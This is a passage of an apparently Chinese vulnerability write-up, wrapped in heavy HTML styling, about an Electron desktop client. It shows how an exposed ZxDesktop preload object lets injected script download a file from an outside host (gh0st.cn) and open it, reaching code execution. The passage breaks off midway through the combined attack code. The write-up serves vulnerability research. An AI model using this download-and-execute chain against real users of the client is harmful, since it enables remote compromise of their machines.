Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">在Electron框架下，如果开发者在渲染页面时配置</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">nodeIntegration</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">为true，则说明我们可以在前端中使用Nodejs的语法，这就导致我们可以直接在前端使用如下Nodejs代码执行命令：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">require</span>(<span class="code-snippet__string">&#39;child_process&#39;</span>).exec(...);</span></code></pre></section><p data-sourcepos="84:1-84:63" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">但是这个配置项在创建功能窗口时并没有开启：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004638" data-ratio="0.8625954198473282" data-s="300,640" style="" data-type="png" data-w="655" src="https://wechat2rss.xlab.app/img-proxy/?k=31bd1a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgticPuDdZnndwWuhoD027JUo0zc9WyBgAozlwx1oFibNVdN8ZCha07icqw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="88:1-88:234" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">所以，我们也就没办法通过XSS执行Nodejs的代码，但是根据当前的Electron的版本1.8.7去互联网检索，发现这个版本存在一个历史漏洞：CVE-2018-15685，而后进行相关验证，也无法成功。</p><p data-sourcepos="90:1-90:196" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">但是我们在<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">\resources\app\src\inject\preload.js</code>文件中（这是预加载JS，也就表示这个文件在窗口创建后，页面创建前就执行了），发现了注册的全局变量：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">window</span>.ZxDesktop = ZxDesktop;</span></code></pre></section><p data-sourcepos="84:1-84:63" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">所以我们可以直接去调用这个全局变量，从而去使用其内部的定义的一些功能：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004639" data-ratio="1.5115384615384615" data-s="300,640" style="" data-type="png" data-w="260" src="https://wechat2rss.xlab.app/img-proxy/?k=66d1d783&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgJ7gonwAPHE3SnU3nwJ7Bql4Ivj93rbwI8K0wJt6x9hohR4gjfZ6TgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="100:1-100:69" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">该全局变量实际上导出了很多其他模块及对应方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004640" data-ratio="0.5683836589698046" data-s="300,640" style="" data-type="png" data-w="563" src="https://wechat2rss.xlab.app/img-proxy/?k=c6b9e0f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTg6Od8XKYz0giaJB2UOw3awws61hibI4FvIPFAstRAORKRHBZwH1XC0OHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="104:1-104:65" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们跟进File模块，就可以发现存在一个open函数：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004641" data-ratio="0.27411167512690354" data-s="300,640" style="" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=ebf0ddba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgYhYtalskFRpDmdffk3ZyRiceJAFdjBwLck511yBv9T8ratsT7icmccEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="108:1-108:115" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">跟进代码和测试之后，发现它就是文件打开函数，在Console下去调用，成功打开计算器：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004642" data-ratio="0.4582043343653251" data-s="300,640" style="" data-type="png" data-w="323" src="https://wechat2rss.xlab.app/img-proxy/?k=55e38f32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgqQphhM3X2JnsZM5ewRX4Gx6kJRCLNHmSQTva8dUOeIOrMWAGrCjY0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="84:1-84:63" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">接着看导出函数列表的其他项，发现存在两个文件保存的方法：<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004643" data-ratio="0.4623955431754875" data-s="300,640" style="" data-type="png" data-w="359" src="https://wechat2rss.xlab.app/img-proxy/?k=080dbe21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgkw9tNfYsVvRYbjwNFefUcQicYhKgLwkJJSibwbzZOiawM8HPtOPbich5FQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="84:1-84:63" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">而它们所指向的都是另外一个模块的方法：<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">const</span> Download = <span class="code-snippet__built_in">require</span>(<span class="code-snippet__string">&#39;../download_extra/download.render.js&#39;</span>);</span></code></pre></section><p data-sourcepos="122:1-122:113" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">跟进这个模块，发现实际上他们都来自同一个方法，只不过传递的参数isSelect有不同：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004644" data-ratio="0.7541729893778453" data-s="300,640" style="" data-type="png" data-w="659" src="https://wechat2rss.xlab.app/img-proxy/?k=15c5ec1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgBp3fauEF1O3DVfKuyiam10EHffZYkiaS7C5G63EHDv7ibFkH9rdCCnuIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="126:1-126:252" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">接着我们来完整的阅读下代码即可发现整个逻辑，首先根据你传递的参数来判断要调用NormalDownload（正常下载）还是ChunkDownload（分块下载），接着根据isSelect函数来判断调用save还是saveAs方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004645" data-ratio="1.4934036939313984" data-s="300,640" style="" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=ebc19108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgJVfKpyiatmIDS3SgbvvqkibLqdklL4R94oLARSbueH9iaSGl8ibLFrFLmQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="130:1-130:255" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码，来查看它们这些方法的逻辑是什么，这里看了之后，两者代码的唯一区别就是分块，所以本文就以NormalDownload的save、saveAs方法去说明。</p><p data-sourcepos="132:1-132:97" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">首先是saveAs方法，它会调用一个文件保存框，然后赋值调用retryStart方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004646" data-ratio="0.7797619047619048" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=227b5f97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgVlAMbMiaiaicicVDCwe3nL6gjL9cQFibJ5Gy13MDeAl50DSHoDOPNQicMzqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="136:1-136:102" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">而实际上retryStart方法内调用的是start方法，这个方法是用来进行请求下载的：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004647" data-ratio="1.271103896103896" data-s="300,640" style="" data-type="png" data-w="616" src="https://wechat2rss.xlab.app/img-proxy/?k=8d6acdc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgDShvHEj4SBzibJUPCTfXBsUZBE0eFSAbicVUG5q6fuR36RukTMOAs4HQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="140:1-140:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">而后下载的文件实际上会保存在用户的数据目录下，save方法与saveAs方法的最大的不同就是没有这个文件保存框，所以我们当然选择使用save方法。</p><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">需要注意，在如上代码中save和saveAs的传递参数不一致，其实这不影响最终的处理，因为在一开始的对象创建时候就通过构造函数赋值了：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">let</span> downloader = <span class="code-snippet__keyword">new</span> Download(file, config);</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004648" data-ratio="0.9133964817320703" data-s="300,640" style="" data-type="png" data-w="739" src="https://wechat2rss.xlab.app/img-proxy/?k=0295483d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgrEJOOvzFqkW7cj9MKthWDhg48Ta2IN2JkDNAVib7bB50oJwfLNctSMg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">至此，我们就获得了文件下载的攻击路径，我们可以根据对应参数这样构建JS代码：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">ZxDesktop.<span class="code-snippet__keyword">require</span>(<span class="code-snippet__string">&#34;File&#34;</span>).save({<span class="code-snippet__string">&#34;url&#34;</span>: <span class="code-snippet__string">&#34;<a href="http://gh0st.cn:81/test.txt" target="_blank">http://gh0st.cn:81/test.txt</a>&#34;</span>,<span class="code-snippet__string">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;test.txt&#34;</span>,<span class="code-snippet__string">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;chunkSize&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;size&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;fileData&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>});</span></code></pre></section><p data-sourcepos="156:1-156:295" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们已经获得了文件下载的功能，攻击路径就很明显了：用户下载文件，打开文件。但是实际操作中，我们打开文件还缺少一个路径，并且在实际的测试中，默认情况下，下载的文件是会保存在应用的数据目录的null目录下：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004698" data-ratio="0.16111111111111112" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f7766274&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgzZXxnOcMg4R6MdkaxEC5bPVTryjCG7pOyxfia0dpphwNuiaZ9AUMZAkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="160:1-160:168" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">而这个目录可能会被用户更改（用户名也没法获取），所以我们需要搭配一个点去获取路径，在这里找到了ZxDesktop的System模块：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004650" data-ratio="0.4684873949579832" data-s="300,640" style="" data-type="png" data-w="476" src="https://wechat2rss.xlab.app/img-proxy/?k=ee6d631e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTg99bdIR1Z9vpq4rwmQ2icvDicm9JOBonlbPngJicSh3m69BwlCWnCKfkfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="164:1-164:129" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;">它的导出列表中有两个属性：dbPath、userDataPath，它们的内容都是一样的，指向了用户的数据目录：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ZxDesktop</span><span class="code-snippet__selector-class">.require</span>(&#34;<span class="code-snippet__selector-tag">System</span>&#34;)<span class="code-snippet__selector-class">.userDataPath</span></span></code></pre></section><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;">我们可以这样拼接，就有了下载文件的目录信息了：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">ZxDesktop.<span class="code-snippet__keyword">require</span>(<span class="code-snippet__string">&#34;System&#34;</span>).userDataPath + <span class="code-snippet__string">&#34;/null/test.txt&#34;</span></span></code></pre></section><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">当我们满足所有条件后，就可以构造完整的攻击代码了：<br/>1.下载文件：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> a = ZxDesktop;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> b = a.<span class="code-snippet__keyword">require</span>(<span class="code-snippet__string">&#34;File&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">b.save({<span class="code-snippet__string">&#34;url&#34;</span>: <span class="code-snippet__string">&#34;<a href="http://gh0st.cn:81/test.txt" target="_blank">http://gh0st.cn:81/test.txt</a>&#34;</span>,<span class="code-snippet__string">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;test.txt&#34;</span>,<span class="code-snippet__string">&#34;path&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;chunkSize&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;size&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;fileData&#34;</span>: <span class="code-snippet__string">&#34;&#34;</span>});</span></code></pre></section><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: 